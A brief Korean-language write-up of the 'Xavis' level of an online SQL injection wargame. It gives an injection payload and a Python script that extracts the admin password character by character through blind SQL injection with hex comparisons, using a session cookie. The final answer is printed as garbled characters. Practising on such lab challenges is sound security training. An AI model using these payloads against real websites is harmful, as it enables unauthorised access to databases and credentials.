19. Xavis

서론

---

NULL

진행과정

---

16진수를 이용해서 Blind SQLi를 코딩하라.

'가 필터가 안되어 있으므로 페이로드는 쉽다.

?pw='||id='admin'%23

import httplib
 
conn = httplib.HTTPConnection("los.eagle-jump.org")
Header = {"Cookie":"PHPSESSID=j91p2m9f3ocbt34c23dhno72i0"}
 
url = "/xavis_fd4389515d6540477114ec3c79623afe.php?pw="
 
 
for i in range(1, 11) :
    for j in range(160, 256) :
        payload = "'||id='admin' and mid(pw, {0}, 1)={1}%23".format(i, hex(j))
        conn.request("GET", url+payload, "", Header)
 
        k = conn.getresponse().read()
        if "Hello admin" in k :
            print "[*] Found : %s" % hex(j)
            break

16진수를 넣는다고하여 Xavis는 클리어 되지않는다.

해당 문구를 select 16진수;를 통해 키값을 얻으면 된다. 

정답은 pw=¸ùÅ°ÆÐÄ¡¤»

# REF

---

NULL